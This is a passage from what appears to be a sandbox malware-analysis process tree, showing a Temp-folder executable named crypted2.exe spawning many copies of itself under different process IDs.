      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6100
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9440
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5336
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6664
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6596
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2920
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9536
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9412
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8880
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9180
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9272
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10156
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6660
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3192
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9312
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9260
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9336
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10280
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10296
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10304
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10344
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10376
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10400
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10408
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10444
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10452
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10460
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10468
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10492
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10516
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10528
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10536
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10548
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10632
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10664
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10672
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10704
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10712
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10728
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10736
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10748
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10796
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10804
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10812
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10820
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10828
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10844
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10860
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10908
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10952
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11004
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11028
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11044
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11240
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4636
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10924
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11076
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5924
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8676
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8460
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8280
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11136
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11276
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11364
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
